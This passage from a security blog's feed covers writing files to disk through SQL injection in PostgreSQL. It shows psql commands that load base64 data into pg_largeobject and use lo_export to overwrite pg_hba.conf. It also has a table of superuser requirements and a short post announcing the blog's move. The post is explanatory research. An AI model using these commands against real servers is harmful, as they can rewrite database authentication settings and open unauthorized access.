operating system name of the&amp;nbsp;file.&lt;/p&gt;
&lt;p&gt;Note that the file is written by the client interface library, not by
the server. Returns 1 on success, -1 on&amp;nbsp;failure.&lt;/p&gt;
&lt;p&gt;Reading PostgreSQL documentation in the &lt;span class="caps"&gt;BLOB&lt;/span&gt; section[1] there is the&amp;nbsp;following:&lt;/p&gt;
&lt;blockquote&gt;
Files are imported and exported by the postgres user, so postgres must have
permission to read the file for lo_import() and directory write permission for
lo_export().&lt;/blockquote&gt;
&lt;p&gt;So this function can write a file to disk and abusing it we can
overwrite the PostgreSQL configuration&amp;nbsp;files.&lt;/p&gt;
&lt;p&gt;First of all we need to create a temporary table (if your user have
right permissions) to store our evil&amp;nbsp;data:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;postgres=#&lt;/span&gt; &lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;foo&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="gp"&gt;postgres(#&lt;/span&gt; &lt;span class="n"&gt;bar&lt;/span&gt; &lt;span class="n"&gt;oid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="gp"&gt;postgres(#&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="nb"&gt;int4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="gp"&gt;postgres(#&lt;/span&gt; &lt;span class="k"&gt;CONSTRAINT&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="k"&gt;PRIMARY&lt;/span&gt; &lt;span class="k"&gt;KEY&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;WITHOUT&lt;/span&gt; &lt;span class="k"&gt;OIDS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="gs"&gt;NOTICE:&lt;/span&gt;&lt;span class="go"&gt;  CREATE TABLE / PRIMARY KEY will create implicit index &amp;quot;id&amp;quot; for table &amp;quot;foo&amp;quot;&lt;/span&gt;
&lt;span class="go"&gt;CREATE TABLE&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The easiest way to load a file is using lo_import() that imports a file
from the local file system but if you want to use this you must have a
way to store a file on target&amp;nbsp;system.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;postgres=#&lt;/span&gt; &lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;foo&lt;/span&gt; &lt;span class="k"&gt;VALUES&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lo_import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/tmp/bar.bin&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="go"&gt;INSERT 0 1&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now you can try to abuse of lo_export() to overwrite a PostgreSQL
configuration&amp;nbsp;file.&lt;/p&gt;
&lt;p&gt;If the web application connects to PostgreSQL using a user with
superuser permission you can overwrite any configuration file owned by
postgres, here we overwrite&amp;nbsp;pg_hba.conf:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;postgres=#&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;lo_export&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/etc/postgresql/8.3/main/pg_hba.conf&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt;
&lt;span class="n"&gt;postgres&lt;/span&gt;&lt;span class="o"&gt;+#&lt;/span&gt; &lt;span class="n"&gt;foo&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="go"&gt;lo_export&lt;/span&gt;
&lt;span class="go"&gt;-----------&lt;/span&gt;
&lt;span class="go"&gt;1&lt;/span&gt;
&lt;span class="go"&gt;(1 row)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If the web application runs as a non-superuser user you can get the
following error&amp;nbsp;message:&lt;/p&gt;
&lt;blockquote&gt;
Query failed: &lt;span class="caps"&gt;ERROR&lt;/span&gt;: must be superuser to use server-side lo_export() &lt;span class="caps"&gt;HINT&lt;/span&gt;:
Anyone can use the client-side lo_export() provided by libpq.&lt;/blockquote&gt;
&lt;p&gt;If you are exploiting a &lt;span class="caps"&gt;SQL&lt;/span&gt; injection you can&amp;#8217;t use lo_import() because
it needs to write files in the local system the pg_largeobject table
can be queried and updated directly, it&amp;#8217;s &amp;#8220;data&amp;#8221; column is the
equivalent to the &lt;span class="caps"&gt;BLOB&lt;/span&gt; data type found in other &lt;span class="caps"&gt;DBMS&lt;/span&gt; and is of type
&lt;span class="caps"&gt;BYTEA&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Remember that when writing &lt;span class="caps"&gt;BYTEA&lt;/span&gt; data all non printable characters must
be represented in octal syntax like 00 and the \ must be escaped if you
use it inside a&amp;nbsp;string.&lt;/p&gt;
&lt;p&gt;For example 00 becomes 0 inside a&amp;nbsp;string.&lt;/p&gt;
&lt;p&gt;A trick is to transfer data encoded in hex or base64 and then decode it
in the database, but remember that this cause an overhead, for example
of 34% of the file size using&amp;nbsp;base64.&lt;/p&gt;
&lt;p&gt;Using direct access to pg_largeobject we can transfer an arbitrary file
and then exporting it via&amp;nbsp;lo_export().&lt;/p&gt;
&lt;p&gt;First of all you must create a new entry in&amp;nbsp;pg_largeobject.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;postgres=#&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;lo_create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="go"&gt;lo_create&lt;/span&gt;
&lt;span class="go"&gt;----------&lt;/span&gt;
&lt;span class="go"&gt;24586&lt;/span&gt;
&lt;span class="go"&gt;(1 row)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And now load your file encoded in base64 (also hex encoding can be&amp;nbsp;used).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;postgres=#&lt;/span&gt; &lt;span class="k"&gt;UPDATE&lt;/span&gt; &lt;span class="n"&gt;pg_largeobject&lt;/span&gt; &lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="k"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DECODE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;YW50YW5p&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;base64&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;postgres&lt;/span&gt;&lt;span class="o"&gt;+#&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;LOID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;24586&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="go"&gt;UPDATE 1&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Your file is loaded in the target &lt;span class="caps"&gt;DBMS&lt;/span&gt;, now you can write it to disk
using&amp;nbsp;lo_export().&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;postgres=#&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;lo_export&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;24586&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/etc/postgresql/8.3/main/pg_hba.conf&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="go"&gt;lo_export&lt;/span&gt;
&lt;span class="go"&gt;-----------&lt;/span&gt;
&lt;span class="go"&gt;1&lt;/span&gt;
&lt;span class="go"&gt;(1 row)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="user-defined-functions"&gt;
&lt;h2&gt;5. User defined&amp;nbsp;functions&lt;/h2&gt;
&lt;p&gt;The PostgreSQL functionalities can be extended user-defined functions,
data types, triggers, etc[6] written in C or other&amp;nbsp;languages.&lt;/p&gt;
&lt;p&gt;By default only superuser can create new functions using language&amp;nbsp;C.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="user-defined-functions-abusing"&gt;
&lt;h2&gt;5.1 User defined functions&amp;nbsp;abusing&lt;/h2&gt;
&lt;p&gt;Using a user-defined function is possible to define function to open,
create and write&amp;nbsp;files.&lt;/p&gt;
&lt;p&gt;The code is not too short and described by Nico Leidecker[5] and also is
the author of pgshell[7], a tool to automatize the exploitation&amp;nbsp;process.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="conclusions"&gt;
&lt;h2&gt;6.&amp;nbsp;Conclusions&lt;/h2&gt;
&lt;p&gt;Exploiting a &lt;span class="caps"&gt;SQL&lt;/span&gt; injection to write files in to the attacked system disk
can be done in three ways but as you can see in the following comparison
table you can do it only if the database user is a&amp;nbsp;superuser.&lt;/p&gt;
&lt;table border="1" class="docutils"&gt;
&lt;colgroup&gt;
&lt;col width="62%" /&gt;
&lt;col width="26%" /&gt;
&lt;col width="12%" /&gt;
&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;Super user&lt;/td&gt;
&lt;td&gt;User&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Write files with &lt;span class="caps"&gt;COPY&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span class="caps"&gt;YES&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span class="caps"&gt;NO&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Write files with lo_export()&lt;/td&gt;
&lt;td&gt;&lt;span class="caps"&gt;YES&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span class="caps"&gt;NO&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Write file via extension&lt;/td&gt;
&lt;td&gt;&lt;span class="caps"&gt;YES&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span class="caps"&gt;NO&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;So in the case we aren&amp;#8217;t superuser a privilege escalation
vulnerability can be user to upload files.
If you achieve the capability to upload files you can overwrite the
PostgreSQL configuration&amp;nbsp;files.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;7.&amp;nbsp;References&lt;/strong&gt;&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;[1]
&lt;a class="reference external" href="http://www.postgresql.org/files/documentation/books/aw_pgsql/node96.html"&gt;http://www.postgresql.org/files/documentation/books/aw_pgsql/node96.html&lt;/a&gt;&lt;/div&gt;
&lt;div class="line"&gt;[2] &lt;a class="reference external" href="http://www.postgresql.org/docs/8.3/interactive/lo-interfaces.html"&gt;http://www.postgresql.org/docs/8.3/interactive/lo-interfaces.html&lt;/a&gt;&lt;/div&gt;
&lt;div class="line"&gt;[3]
&lt;a class="reference external" href="http://www.lonerunners.net/1246-database-datatype-comparison-sheet.html"&gt;http://www.lonerunners.net/1246-database-datatype-comparison-sheet.html&lt;/a&gt;&lt;/div&gt;
&lt;div class="line"&gt;[4] &lt;a class="reference external" href="http://www.postgresql.org/docs/8.1/interactive/sql-copy.html"&gt;http://www.postgresql.org/docs/8.1/interactive/sql-copy.html&lt;/a&gt;&lt;/div&gt;
&lt;div class="line"&gt;[5]
&lt;a class="reference external" href="http://labs.portcullis.co.uk/download/Having_Fun_With_PostgreSQL.pdf"&gt;http://labs.portcullis.co.uk/download/Having_Fun_With_PostgreSQL.pdf&lt;/a&gt;&lt;/div&gt;
&lt;div class="line"&gt;[6]
&lt;a class="reference external" href="http://www.postgresql.org/docs/8.3/interactive/server-programming.html"&gt;http://www.postgresql.org/docs/8.3/interactive/server-programming.html&lt;/a&gt;&lt;/div&gt;
&lt;div class="line"&gt;[7] &lt;a class="reference external" href="http://www.leidecker.info/projects/pgshell.shtml"&gt;http://www.leidecker.info/projects/pgshell.shtml&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><category term="Research"></category><category term="exploiting"></category><category term="PostgreSQL"></category><category term="SQL Injection"></category><category term="SQLi"></category><category term="writing file"></category></entry><entry><title>Evolution</title><link href="https://jekil.sexy/blog/2008/evolution.html" rel="alternate"></link><published>2008-11-02T17:12:00+00:00</published><updated>2008-11-02T17:12:00+00:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2008-11-02:/blog/2008/evolution.html</id><content type="html">&lt;p&gt;&lt;a class="reference external" href="http://www.lonerunners.net"&gt;lonerunners.net&lt;/a&gt; is a blog composed by
all kind of my crap, cinema, personal facts, technology news and &lt;span class="caps"&gt;IT&lt;/span&gt;
security posts, some in Italian and others in&amp;nbsp;English.&lt;/p&gt;
&lt;p&gt;Now all research and information security posts are published here, in
english, &lt;a class="reference external" href="https://jekil.sexy"&gt;jekil.sexy&lt;/a&gt; wanna be a
place for &lt;span class="caps"&gt;IT&lt;/span&gt; security&amp;nbsp; pills,&amp;nbsp; hacking drugs, and research&amp;nbsp;news.&lt;/p&gt;
&lt;p&gt;So &lt;a class="reference external" href="http://feeds.feedburner.com/jekil_is_sexy?format=xml"&gt;subscribe&lt;/a&gt; to my &lt;a class="reference external" href="http://feeds.feedburner.com/jekil_is_sexy?format=xml"&gt;&lt;span class="caps"&gt;RSS&lt;/span&gt;
feed&lt;/a&gt; to keep updated about cutting
edge security&amp;nbsp;pills.&lt;/p&gt;
</content><category term="Blog"></category><category term="evolution"></category><category term="lab"></category><category term="lonerunners.net"></category></entry></feed>